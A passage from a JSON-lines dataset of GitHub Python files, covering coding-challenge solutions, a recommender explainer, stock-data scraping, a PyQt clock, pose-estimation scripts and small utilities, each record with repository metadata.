","repo_name":"Waqas-Ali-Azhar/code_challenges","sub_path":"leetcode/maximum-depth-of-binary-tree.py","file_name":"maximum-depth-of-binary-tree.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34733249696","text":"from custom_modules import Dataset, UserProfile, Recommender, ReducedSpace\nimport umap.umap_ as umap\n\nclass MFExplainer:\n \"\"\"\n A layer to explain MF algorithms.\n \"\"\"\n\n def __init__(self):\n # define datasets\n self.ratings = Dataset(\"ratings\")\n self.movies = Dataset(\"movies\")\n # add active user\n self.user = UserProfile(active=True)\n # define other properties\n self.model = None\n self.recommendations = None\n self.item_space = None\n self.user_space = None\n\n # convert data in CSV files into dataframes and store them into the \"data\" attribute\n self.ratings.csv_to_df(\"ml-latest-small\")\n self.movies.csv_to_df(\"ml-latest-small\")\n # drop timestamp column\n self.ratings.drop_column(\"timestamp\")\n # edit movie titles\n self.movies.edit_movie_title()\n # filter out users and movies based on a preset minimum number of ratings\n self.ratings.filter_by_ratings(self.movies)\n # add a column for each genre in the movie dataframe\n self.movies.add_genre_columns()\n\n def get_recommendation_data(self, movie_titles, movie_ratings):\n # add movies to user profile\n profile = self.user.add_movies(movie_titles, movie_ratings, self.movies)\n # add active user profile to ratings dataset\n self.ratings.add_user_profile(profile)\n # add recommendation model and train data\n self.model = Recommender(ratings_dataset=self.ratings, random_state=36)\n self.model.train_model()\n # add movie internal IDs to the movie dataset\n self.movies.add_internal_movieID(self.model)\n # generate recommendations\n self.recommendations = self.model.generate_recommendations(self.movies, self.user.profile)\n return self.recommendations\n\n def get_user_and_item_data(self):\n # perform dimensionality reduction to user and item factors\n item_umap_model = umap.UMAP(n_components=2, n_neighbors=2, min_dist=0.9, metric='cosine', random_state=36)\n user_umap_model = umap.UMAP(n_components=2, n_neighbors=5, min_dist=0.0, metric='cosine', random_state=36)\n item_embeddings = item_umap_model.fit_transform(self.model.qi)\n user_embeddings = user_umap_model.fit_transform(self.model.pu)\n # create item & user spaces\n self.item_space = ReducedSpace(item_embeddings, \"item\")\n self.user_space = ReducedSpace(user_embeddings, \"user\")\n # find k nearest neighbors to the active user\n neighbors = self.user_space.find_KNN()\n # perform some preprocessing\n self.item_space.preprocess(self.model, self.user, self.movies, self.ratings)\n self.user_space.preprocess(self.model, self.user, self.movies, self.ratings)\n # add active user tag and genre info for rated movies\n self.user_space.add_active_user_tags_and_genres()\n # add liked movies by the active user\n self.item_space.add_liked_movies_by_active_user()\n # generate item-based recommendations\n self.item_space.find_item_based_recommendations()\n # create item and user space dataframes\n self.item_space.create_space_df()\n self.user_space.create_space_df()\n # label recommended movies based on neighbors\n self.item_space.label_neighbor_recommendations(neighbors)\n # retrieve liked movies by each user\n user_movies = self.user_space.retrieve_movies_per_user()\n # retrieve users who liked each movie\n movie_users = self.item_space.retrieve_users_per_movie()\n # retrieve user data\n user_data = self.user_space.retrieve_user_space_data()\n # retrieve item data\n item_data = self.item_space.retrieve_item_space_data()\n return user_movies, movie_users, user_data, item_data\n","repo_name":"TurkiAlahmadi/MFExplain","sub_path":"backend/MFExplainer.py","file_name":"MFExplainer.py","file_ext":"py","file_size_in_byte":3835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38764970719","text":"\"\"\"\nGiven an array and a value, remove all instances of that value in place and return the new length.\n\nDo not allocate extra space for another array, you must do this in place with constant memory.\n\nThe order of elements can be changed. It doesn't matter what you leave beyond the new length.\n\nExample:\nGiven input array nums = [3,2,2,3], val = 3\n\nYour function should return length = 2, with the first two elements of nums being 2.\n\n\"\"\"\n# top solutuion \nclass Solution(object):\n def removeElement(self, nums, val):\n \"\"\"\n :type nums: List[int]\n :type val: int\n :rtype: int\n \"\"\"\n '''\n new_tail = 0\n i = 0\n while i < len(nums):\n if nums[i] != val: \n nums[new_tail] = nums[i]\n new_tail += 1\n i += 1\n return new_tail\n '''\n new_tail = 0\n for x in nums:\n if x != val:\n nums[new_tail] = x \n new_tail += 1\n return new_tail\n\n \n \n# top solution\n\"\"\"\nscans numbers from the left to the right, one by one.\n\nOnce it finds a number that equals to elem, swaps current element with the last element in the array and then dispose the last.\n\nThe swapping can be optimized as overwrite current element by the last one and dispose the last.\nNow, we have removed the current number, and the length of the array is reduced by 1.\n\nTo ensure we do not make wrong choices, we will continue scanning from the (new) current element.\nSo it won't fail if the same number is swapped to the current position.\n\"\"\"\nclass Solution(object):\n def removeElement(self, nums, val):\n \"\"\"\n :type nums: List[int]\n :type val: int\n :rtype: int\n \"\"\"\n left, right = 0, len(nums)\n while left < right:\n if nums[left] == val:\n nums[left] = nums[right-1]\n right -= 1\n else:\n left += 1\n return right\n \n","repo_name":"rarezhang/leetcode","sub_path":"array/027.RemoveElement.py","file_name":"027.RemoveElement.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40860330022","text":"import argparse\nimport logging\nimport logging.config\n\nimport yaml\n\nfrom src.initial_transformer import DataTransformer\nfrom src.save_results import SaveResults\nfrom src.pipeline import MLReport\n\ndef main():\n \"\"\"\n Entry point to run the pipeline\n \"\"\"\n \n # Parsing YAML file\n parser = argparse.ArgumentParser(description='Run Pipeline')\n parser.add_argument('config', help='A configuration file in YAML format.')\n args = parser.parse_args()\n config = yaml.safe_load(open(args.config))\n\n # Configure logging\n log_config = config['logging']\n logging.config.dictConfig(log_config)\n logger = logging.getLogger(__name__)\n\n # Data config transformer parameters\n path = config['path']\n overlap = config['overlap']\n window_param = config['window_param']\n\n # Configure data transformer class\n initial_transformer = DataTransformer(path,\n overlap,\n window_param)\n\n # Configure save results class\n results = SaveResults()\n\n # Running the job\n logger.info('Job started')\n ml_report = MLReport(initial_transformer,\n results)\n ml_report.run_pipeline()\n logger.info('Job finished')\n \n\nif __name__ == '__main__':\n main()","repo_name":"douglasbfonseca/ml-smart-wearable","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"701715448","text":"#film Simulator \r\n\r\nfilms={'Finding Dory':[3,500],\r\n 'KGF1':[18,530],\r\n 'Ghost Busters':[15,950],\r\n 'Tarzan':[12,519]\r\n }\r\n\r\nwhile True:\r\n choice=input('What film would you like to watch? :').strip()\r\n \r\n if choice in films.keys():\r\n age=int(input(\"How old are you? :\").strip())\r\n if age>=films[choice][0]:\r\n print('You can Go, by paying',films[choice][1],'rupees.\\n\\t Enjoy the film...')\r\n else:\r\n print(\"Sorry Your are to small to watch the movie...\")\r\n else:\r\n print(\"Sorry, There is no such Film in this theator\")\r\n \r\n break\r\n\r\n","repo_name":"satyacodermk/PythonMiniProjects","sub_path":"filmator.py","file_name":"filmator.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35967857550","text":"import pytest\nfrom click.testing import CliRunner\nfrom homeproject import *\n\nFILENAME = \"GlobalLandTemperaturesByMajorCity.csv\"\n\ndef test_default():\n \"\"\"Тест для праметров по умолчанию\"\"\"\n runner = CliRunner()\n\n result = runner.invoke(run, [f'{\"--filename=\"}{FILENAME}'])\n #captured = capsys.readouterr()\n expected_out_start = \" City avg_temp\\n\"\n \"0 Umm Durman 29.62125\"\n \n assert result.exit_code == 0\n assert result.output.startswith(expected_out_start), result.output\n \n \n@pytest.mark.parametrize(\"count\", [-5,-12,1,989, 132]) \ndef test_count(count):\n \"\"\"Тест для проверки count\"\"\"\n runner = CliRunner()\n\n result = runner.invoke(run, [f'{\"--filename=\"}{FILENAME}', f'{\"--count=\"}{count}'])\n #captured = capsys.readouterr()\n if (count < 0):\n expected_out_start = \"Некоректное значение count!\"\n elif (count > 100):\n expected_out_start = \"Всего 100 городов в данных!\"\n expected_out_end = \"[100 rows x 2 columns]\\n\"\n assert result.exit_code == 0\n assert result.output.endswith(expected_out_end), result.output[-8:]\n else:\n expected_out_start = \" City avg_temp\"\n assert result.exit_code == 0\n assert result.output.startswith(expected_out_start), \"start\"+result.output\n \n ","repo_name":"vladislav3112/timeseries-task","sub_path":"test_homeproject.py","file_name":"test_homeproject.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15421618720","text":"# 백준 - 실버2 - 아기 상어 2 - 17086 - 그래프, 완전 탐색, bfs 문제\n'''\n그래프, 완전 탐색, bfs 문제\n\nbfs 풀이도 쉽게 풀리는 문제이다.\n상어의 위치를 미리 q에 넣어놓은 뒤 bfs로 8방향(상,하,좌,우,좌상,우상,좌하,우하)을 탐색한다.\nbfs로 탐색할 때 조건으로 g의 범위를 벗어나지 않고, 그래프의 인덱스의 값이 0이라면 q에 넣는다.\n또한, 원래 그래프의 값에서 1을 더한 값으로 현재 검사한 그래프의 값을 변경한다.\n\nwhile 문이 다 끝났을 시점 그래프 리스트에서 제일 큰 값에서 1을 빼고 출력하면 된다.\n (처음 상어가 있는 위치가 1이므로 이 값을 빼고 몇 번 이동했는지 체크하기 위해)\n'''\n\nfrom collections import deque\n\nn, m = map(int, input().split())\ng = [ list(map(int, input().split())) for _ in range(n) ]\n\n# 테스트\n# from collections import deque\n# n, m = 5, 4\n# g = [\n# [0, 0, 1, 0],\n# [0, 0, 0, 0],\n# [1, 0, 0, 0],\n# [0, 0, 0, 0],\n# [0, 0, 0, 1],\n# ] # 2\n# n, m = 7, 4\n# g = [\n# [0, 0, 0, 1],\n# [0, 1, 0, 0],\n# [0, 0, 0, 0],\n# [0, 0, 0, 1],\n# [0, 0, 0, 0],\n# [0, 1, 0, 0],\n# [0, 0, 0, 1],\n# ] # 2\n\nq = deque()\nres = 0\ndx, dy = [-1, -1, -1, 0, 1, 0, 1, 1], [-1, 0, 1, 1, 1, -1, 0, -1]\n\nfor i in range(n):\n for j in range(m):\n if g[i][j] == 1:\n q.append([i, j])\n\ndef bfs():\n while q:\n a, b = q.popleft()\n\n for i in range(8):\n nx, ny = a + dx[i], b + dy[i]\n\n if 0 <= nx < n and 0 <= ny < m and g[nx][ny] == 0:\n q.append([nx, ny])\n g[nx][ny] = g[a][b] + 1\n\n temp = 0\n for i in range(n):\n temp = max(temp, max(g[i]))\n\n return temp - 1\n\nres = bfs()\nprint(res)\n","repo_name":"rkdalsdn94/algoalgo","sub_path":"solved_ac/Silver_2/아기_상어_2_17086.py","file_name":"아기_상어_2_17086.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3584825104","text":"# -*- coding: utf-8 -*-\n\n\nimport re\nimport datetime\nfrom flask import escape, session\nfrom flask_login import current_user\nfrom hereboxweb.schedule.purchase_step import UserInputSerializable, UserInputSerializableFactory\n\n\nclass DeliveryOption(object):\n RESTORE = 'restore'\n EXPIRE = 'expire'\n\n\nclass DeliveryOrder(UserInputSerializable):\n\n __user_input_type__ = 'order'\n\n def user_input_keys(self):\n return ['optionsDelivery', 'inputPhoneNumber', 'inputDeliveryDate',\n 'inputPostCode', 'inputDeliveryTime', 'inputAddress1',\n 'inputAddress2', 'textareaMemo']\n\n def deserialize(self, user_input):\n self.delivery_option = user_input.get(self.user_input_keys()[0], DeliveryOption.RESTORE)\n self.phone_number = user_input.get(self.user_input_keys()[1], '')\n self.visit_date = user_input.get(self.user_input_keys()[2], None)\n self.post_code = user_input.get(self.user_input_keys()[3], None)\n self.visit_time = int(user_input.get(self.user_input_keys()[4], 0))\n self.address1 = user_input.get(self.user_input_keys()[5], '')\n self.address2 = user_input.get(self.user_input_keys()[6], '')\n self.user_memo = user_input.get(self.user_input_keys()[7], '')\n self._validate()\n\n def _validate(self):\n if not re.match('^([0]{1}[1]{1}[016789]{1})([0-9]{3,4})([0-9]{4})$', self.phone_number):\n raise ValueError(u'잘못된 전화번호입니다.')\n\n if len(self.user_memo) > 200:\n raise ValueError(u'메모가 너무 깁니다.')\n\n if len(self.address1) > 200:\n raise ValueError(u'address1이 너무 깁니다.')\n\n if len(self.address2) > 200:\n raise ValueError(u'address2가 너무 깁니다.')\n\n if current_user.phone:\n if current_user.phone != self.phone_number:\n raise ValueError(u'연락처 정보가 다릅니다.')\n\n start_time = escape(session.get('start_time'))\n converted_start_time = datetime.datetime.strptime(start_time, \"%Y-%m-%d %H:%M:%S\")\n day_standard_time1 = converted_start_time.replace(hour=17, minute=0) # 저녁 5시 기준\n day_standard_time2 = converted_start_time.replace(hour=23, minute=59, second=59)\n\n if converted_start_time > day_standard_time1 and converted_start_time <= day_standard_time2:\n converted_visit_date = datetime.datetime.strptime(self.visit_date, \"%Y-%m-%d\")\n today = datetime.datetime.now()\n tommorrow = today + datetime.timedelta(days=1)\n\n if converted_visit_date <= tommorrow:\n raise ValueError(u'오후 5시가 넘어 내일을 방문예정일로 설정할 수 없습니다.')\n\n def serialize(self):\n return {\n 'optionsDelivery': self.delivery_option,\n 'inputPhoneNumber': self.phone_number,\n 'inputDeliveryDate': self.visit_date,\n 'inputPostCode': self.post_code,\n 'inputDeliveryTime': self.visit_time,\n 'inputAddress1': self.address1,\n 'inputAddress2': self.address2,\n 'textareaMemo': self.user_memo,\n }\n\n\nclass DeliverySerializableFactory(UserInputSerializableFactory):\n\n delivery_factory = [DeliveryOrder]\n\n @classmethod\n def serializable(cls, user_input_type):\n serializable_cls = cls.find_delivery_serializable_by_type(user_input_type)\n return serializable_cls()\n\n @classmethod\n def find_delivery_serializable_by_type(cls, user_input_type):\n for delivery_serializable in cls.delivery_factory:\n if delivery_serializable.__user_input_type__ == user_input_type:\n return delivery_serializable\n raise NotImplementedError()\n\n\ndef calculate_total_delivery_price(packed_stuffs):\n return 2000 * len(packed_stuffs)","repo_name":"iBluemind/herebox","sub_path":"hereboxweb/schedule/delivery.py","file_name":"delivery.py","file_ext":"py","file_size_in_byte":3822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8925225739","text":"import smtplib\r\nfrom email import encoders\r\nfrom email.mime.text import MIMEText\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.base import MIMEBase\r\nfrom bs4 import BeautifulSoup as bs\r\n\r\n# ваши учетные данные\r\nemail = \"address@gmail.com\"\r\npassword = \"password\"\r\n\r\n# электронная почта отправителя\r\nFROM = \"from address@gmail.com\"\r\n\r\n# адрес электронной почты получателя\r\nTO = \"to address@gmail.com\"\r\n\r\n# тема письма (тема)\r\nsubject = \"Just a subject\"\r\n\r\n# инициализируем сообщение, которое хотим отправить\r\nmsg = MIMEMultipart(\"alternative\")\r\n\r\n# установить адрес электронной почты отправителя\r\nmsg[\"From\"] = FROM\r\n\r\n# установить адрес электронной почты получателя\r\nmsg[\"To\"] = TO\r\n\r\n# задаем тему\r\nmsg[\"Subject\"] = subject\r\n\r\n# установить тело письма как HTML\r\nhtml = \"\"\"\r\nThis email is sent using Python!\r\n\"\"\"\r\n# делаем текстовую версию HTML\r\ntext = bs(html, \"html.parser\").text\r\n\r\n# установить тело письма как HTML\r\nhtml = open(\"mail.html\").read()\r\n\r\n# делаем текстовую версию HTML\r\ntext = bs(html, \"html.parser\").text\r\n\r\ntext_part = MIMEText(text, \"plain\")\r\nhtml_part = MIMEText(html, \"html\")\r\n\r\n# прикрепить тело письма к почтовому сообщению\r\n# сначала прикрепите текстовую версию\r\nmsg.attach(text_part)\r\nmsg.attach(html_part)\r\n\r\nprint(msg.as_string())","repo_name":"krismile37/study-tasks-for-susu","sub_path":"work_with_email/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14844239806","text":"import math\nimport sympy\n\ncur_largest = 0\nhighest_num = math.floor(math.sqrt(600851475143))\nfor i in range(1, highest_num):\n\tif (600851475143 % i == 0 and sympy.isprime(i)):\n\t\tcur_largest = i\nprint(cur_largest)\n\n# solution is 6857","repo_name":"jgoler/Project-Euler","sub_path":"Three/three.py","file_name":"three.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13895019571","text":"import yfinance as yf\nfrom yahoo_fin.stock_info import tickers_dow, tickers_sp500, tickers_nasdaq, tickers_other\nimport pickle\n\n\n\n\n\nclass Get_Historical_Data(object):\n \n \n def __init__(self, path, period='10y', interval='1d'):\n self.period = period\n self.inter = interval\n self.path = path\n\n\n def getData_S(self, tic):\n '''\n Import Single Stock Price History via yahoo finance API\n uses:\n period - time frame\n interval - frequency of prices\n '''\n self.tic = tic\n self.ticker = yf.Ticker(self.tic)\n new_path = self.path + 'raw/' + self.tic + '_data_' + self.period + '_' + self.inter + '.pkl'\n hist = self.ticker.history(period=self.period, interval=self.inter)\n hist.to_pickle(new_path)\n print('\\n * * * Historical Price Data Web Scrape Complete * * *\\n')\n\n\n def getData_M(self, tics, save_name='sample_'):\n '''\n Import Multiple Stock Price History via yahoo finance API\n uses:\n period - time frame\n interval - frequency of prices\n '''\n new_path = self.path + 'raw/' + save_name + 'data_' + self.period + '_' + self.inter + '.pkl'\n hist = yf.download(tics, period=self.period, interval=self.inter)['Adj Close']\n hist.to_pickle(new_path)\n print('\\n * * * Historical Price Data Web Scrape Complete * * *\\n')\n\n\n def getData_I(self, name, save_name=['dow_ticker_list.pkl', 'sp500_ticker_list.pkl', 'nasdaq_ticker_list.pkl', 'other_ticker_list.pkl']):\n '''\n Import Index Stock Price History via yahoo finance API\n uses:\n period - time frame\n interval - frequency of prices\n ''' \n names = ['dow','sp500','nasdaq','other']\n self.tics = []\n for r in range(len(names)):\n if names[r] in name:\n new_name = self.path + 'interim/tickers/' + save_name[r]\n open_file = open(new_name, \"rb\")\n loaded_list = pickle.load(open_file)\n open_file.close()\n self.tics.append(loaded_list)\n for i in range(len(self.tics)):\n s_name = names[i] + '_'\n hist = yf.download(self.tics[i], period=self.period, interval=self.inter)['Adj Close']\n new_path = self.path + 'raw/' + s_name + self.period + '_' + self.inter + '.pkl'\n hist.to_pickle(new_path)\n print('\\n * * * Historical Price Data Web Scrape Complete * * *\\n')\n\n\n # def getData_I_tics():\n # dow, other, nasdaq, sp500 = tickers_dow(), tickers_other(), tickers_nasdaq(), tickers_sp500()\n # index_ticker_lst = [dow, other, nasdaq, sp500]\n # save_name = ['dow_ticker_list.pkl', 'other_ticker_list.pkl', 'nasdaq_ticker_list.pkl'] # sp500_ticker_list.pkl\n # for i in range(len(index_ticker_lst)):\n # open_file = open(save_name[i], \"wb\")\n # pickle.dump(index_ticker_lst[i], open_file)\n # open_file.close()\n # print('\\n * * * All Ticker Lists Have Been Web-Scraped & Saved * * *\\n')\n\n\nif __name__ == '__main__':\n pass\n # p = '~/work/Where-To-Put-Your-Money-In-Hard-Times/data/'\n # run = Get_Historical_Data(path=p, period='1y', interval='1d')\n # run.getData_S(tic='^GSPC')\n # run.getData_M(tics=['AAPL','AMZN','MSFT','TSLA','NFLX','^GSPC'], save_name='portfolio_data_')","repo_name":"ramraider011235/project_where_to_put_your_money_in_hard_times","sub_path":"data/make_dataset.py","file_name":"make_dataset.py","file_ext":"py","file_size_in_byte":3419,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"71832010172","text":"from selenium import webdriver\r\nimport time\r\n\r\n\r\nbr = webdriver.Firefox(executable_path= 'C:/Users/Student/Desktop/Pycharm/geckodriver.exe')\r\nbr.implicitly_wait(15)\r\nbr.get('http://www.omdbapi.com/')\r\nsearch = br.find_element_by_name('q')\r\nsearch.send_keys('blade runner')\r\nsearch.submit()\r\ntime.sleep(5)\r\nprint(br.title)\r\nprint(br.title)\r\n","repo_name":"GeorgeWorth/C7-Software-Engi","sub_path":"Pycharm_W4/Workshop5/Main/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29141829286","text":"#Importing Libraries\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5 import QtCore , QtGui\r\nfrom PyQt5.QtGui import*\r\nfrom PyQt5.QtCore import*\r\nimport sys\r\n\r\n#creating class clock\r\nclass Clock(QMainWindow):\r\n #constructor\r\n def __init__(self):\r\n super().__init__()\r\n \r\n\r\n #creating timer object\r\n timer=QTimer(self)\r\n\r\n #giving action to timer\r\n timer.timeout.connect(self.update)\r\n #setting timer miliseconds\r\n timer.start(1000)\r\n #window title \r\n self.setWindowTitle(\"Analog Clock\")\r\n #setting windows geometry\r\n self.setGeometry(200,200,300,300)\r\n #background\r\n self.setStyleSheet(\"background : purple;\")\r\n #hour hand\r\n self.hPointer = QtGui.QPolygon([QPoint(6,7),\r\n QPoint(-6,7),\r\n QPoint(0,-50)])\r\n #minute hand\r\n self.mPointer = QPolygon([QPoint(6,7),\r\n QPoint(-6,7),\r\n QPoint(0,-70)])\r\n #second hand\r\n self.sPointer = QPolygon([QPoint(1,1),\r\n QPoint(-1,1),\r\n QPoint(0,-90)])\r\n #color\r\n self.bColor= Qt.yellow\r\n self.sColor= Qt.red\r\n\r\n\r\n def paintEvent(self,event):\r\n #setting width and height\r\n rec = min(self.width(), self.height())\r\n #curent time\r\n tik = QTime.currentTime()\r\n #painter object\r\n painter= QPainter(self)\r\n def drawPointer(color,rotation, pointer):\r\n painter.setBrush(QBrush(color))\r\n painter.save()\r\n painter.rotate(rotation)\r\n painter.drawConvexPolygon(pointer)\r\n painter.restore()\r\n painter.setRenderHint(QPainter.Antialiasing)\r\n painter.translate(self.width()/2, self.height()/2)\r\n painter.scale(rec/200, rec/200)\r\n painter.setPen(QtCore.Qt.NoPen)\r\n drawPointer(self.bColor,(30*(tik.hour()+tik.minute()/60)),self.hPointer)\r\n drawPointer(self.bColor,(6*(tik.minute()+tik.second()/60)),self.mPointer)\r\n drawPointer(self.sColor,(6*tik.second()),self.sPointer)\r\n\r\n painter.setPen(QPen(self.bColor))\r\n for i in range(0,60):\r\n if(i%5)==0:\r\n painter.drawLine(87,0,97,0)\r\n painter.rotate(6)\r\n painter.end()\r\n#main code\r\nif __name__== '__main__':\r\n app= QApplication(sys.argv)\r\n #creating clock object\r\n win = Clock()\r\n#show\r\nwin.show()\r\nexit(app.exec_())\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"AakarshCoder/ANALOG-CLOCK","sub_path":"ANALOG_CLOCK.py","file_name":"ANALOG_CLOCK.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30947494342","text":"# Created by: Cristiano S\n# Created on: March 2023\n#\n# Uses a distance sensor to find the distance of an object in centimeters\n\nimport time\nimport board\nimport adafruit_hcsr04\n\nsonar = adafruit_hcsr04.HCSR04(trigger_pin=board.GP2, echo_pin=board.GP3)\n\nwhile True:\n try:\n print(sonar.distance)\n except RuntimeError:\n print(\"Retrying!\")\n time.sleep(0.1)\n","repo_name":"CristianoSellitto/TEJ3M-Unit2-06-Python","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74965659131","text":"\"\"\"\nПри вызове передаються названия файлов.txt скрипт создает два новых файла в репозитории:\nbig_file.txt --> в него записываются все строки из всех переданных фалов\nbig_file_fin.txt --> исходный файл, в него будут записаны строки исходя из условия задания.\nЕсли файлы большие, то я думаю можно также собрать все файлы в один большой файл,\nбрать первый элемент файла и читать по строчно файл сверяя с первым элементом файла,\nесли найдуться одинаковые элементы то сохранять их в памяти, потом записать наденные обработанные элементы в\nновый фал, при этом удалить первый элемент из большоего файла. И так повторить пока не закончаться\nэлементы в большом файле, но нужно будет еще делать одну проверку, существует ли элемент\nв новом созданном файле каждый рес. \n\"\"\"\n\nimport sys\n\n\ndef read_file(name_file):\n \"\"\"\n :param name_file: название файла\n :return: список строк из файла\n \"\"\"\n with open(name_file, 'r') as out_file:\n out_file = out_file.readlines()\n return out_file\n\n\ndef write_file(name_file, list_str):\n \"\"\"\n :param name_file: название файла\n :param list_str: списов строк\n :return: NONE\n \"\"\"\n with open(name_file, 'w') as out_file:\n for string in list_str:\n out_file.write(string)\n\n\ndef read_files(name_file_list):\n \"\"\"\n принимает список с именами файлов читает их построчно и записывает данные с фалов в один файл.\n :param name_file_list: список с именами файлов\n :return: None\n \"\"\"\n with open('big_file.txt', 'w') as out_file:\n for f_name in name_file_list:\n with open(f_name) as infile:\n for line in infile:\n out_file.write(line)\n\n\ndef size_check(d):\n \"\"\"\n принимает словарь с одинаковыми словами с файле и проверяет веса.\n :param d: словарь {индекс строки в файле : строка из файла } повторяющиеся строки в файле\n :return: формированная новая строка.\n \"\"\"\n size = set([sys.getsizeof(i) for i in d.values()])\n if len(size) == 1: #если у всех веса одинаковые.\n numbers = \",\".join(set(\",\".join([i[:-1].split('\\\\t')[1] for i in d.values()]).split(','))) # если веса одинковые то отбираються уникальные числа из всех строк\n word = d[0].split('\\\\t')[0]\n return f\"{word}\\\\t{numbers}\\n\"\n else: #выбираються числа с самым большим весом если веса разные\n sizes = 0\n element = ''\n for j in d.values():\n if sys.getsizeof(j) > sizes:\n sizes = sys.getsizeof(j)\n element = j\n return f\"{element}\"\n\n\nif __name__ == \"__main__\":\n\n read_files(sys.argv[1:])\n list_string = read_file('big_file.txt')\n f = {}\n fin_list = []\n while len(list_string) != 0:\n for j, i in enumerate(list_string):\n if list_string[0].split('\\\\t')[0] == i.split('\\\\t')[0]:\n f[j] = i\n if len(f) != 1:\n fin_list.append(size_check(f))\n else:\n fin_list.append(f[0])\n for i in f.keys().__reversed__():\n del list_string[i]\n f = {}\n\n write_file('big_file_fin.txt', fin_list)\n","repo_name":"greg-318/File_processing","sub_path":"make_megasource.py","file_name":"make_megasource.py","file_ext":"py","file_size_in_byte":4098,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38826719671","text":"# from moviepy.video.io.ffmpeg_tools import ffmpeg_extract_subclip\n# ffmpeg_extract_subclip('videos/turkey.mp4', 2, 30, targetname=\"videos/turkey_long.mp4\")\n\nimport deeplabcut\nimport os\nimport sys\nimport cv2\nimport time\n\nimport warnings\nwarnings.simplefilter('ignore')\n# warnings.filterwarnings(\"ignore\")\n# with warnings.catch_warnings():\n# warnings.simplefilter(\"ignore\")\n\ndef train():\n videofile_path = ['videos/ostrich.mp4'] #Enter a folder OR a list of videos to analyze.\n if not os.path.isfile(videofile_path[0]):\n sys.exit(\"File {} not found!!\".format(videofile_path[0]))\n \n path_config_file = '/home/braincreator/Pose_estimation/DeepLabCut/examples/ostrich/Testing-Shan-2019-08-07/config.yaml'\n\n print(\"\\n\" + \"=\"*80 + \"\\n\\t\\t\\t\\tANALYZE\\n\" + \"=\"*80)\n deeplabcut.analyze_videos(path_config_file, videofile_path, gputouse= None, videotype='.mp4')\n \n print(\"\\n\" + \"=\"*80 + \"\\n\\t\\t\\t\\tCreating video\\n\" + \"=\"*80)\n deeplabcut.create_labeled_video(path_config_file, videofile_path, outputframerate = 5, draw_skeleton = True)\n\n\ndef watch():\n path1 = 'vids/cow_videoDeepCut_resnet50_TestingJul30shuffle1_20000_labeled.mp4'\n path2 = 'videos/cow_videoDeepCut_resnet50_TestingAug1shuffle1_150000_labeled.mp4'\n vs1 = cv2.VideoCapture(path1)\n vs2 = cv2.VideoCapture(path2)\n if vs1.isOpened() == False or vs2.isOpened == False:\n sys.exit('Video file cannot be read! Please check input_vidpath to ensure it is correctly pointing to the video file')\n\n while True:\n frame1 = vs1.read()\n frame2 = vs2.read()\n\n frame1 = frame1[1]\n frame2 = frame2[1]\n\n if frame1 is None or frame2 is None:\n break\n\n cv2.imshow(\"Frame 1\", frame1)\n cv2.imshow(\"Frame 2\", frame2)\n time.sleep(0.05)\n\n key = cv2.waitKey(1) & 0xFF\n if key == ord(\"q\"):\n break\n vs1.release()\n vs2.release()\n cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n train()\n # watch()\n\n\n\n\n\n\n","repo_name":"shaanchandra/Pose_Estimation","sub_path":"examples/analyzer.py","file_name":"analyzer.py","file_ext":"py","file_size_in_byte":2002,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"78"} +{"seq_id":"71831064891","text":"import multiprocessing\n\nbind = \"0.0.0.0:5000\"\nworkers = multiprocessing.cpu_count() * 2 + 1\ntimeout = 30\nkeepalive = 2\nuser = 'knowage'\ngroup = 'knowage'\n###tmp_upload_dir = None\npidfile ='/app/knowagepython.pid'\n\n###capture-output = 'true'\nloglevel = 'debug'\naccesslog = '-'\nerrorlog = '-'\naccess_log_format = '%(h)s %(l)s %(u)s %(t)s \"%(r)s\" %(s)s %(b)s \"%(f)s\" \"%(a)s\"'\n\n","repo_name":"KnowageLabs/Knowage-Server-Docker","sub_path":"Knowage-Python-Docker/gunicorn.conf.py","file_name":"gunicorn.conf.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"78"} +{"seq_id":"31956685564","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def lowestCommonAncestor(self, root, p, q):\n 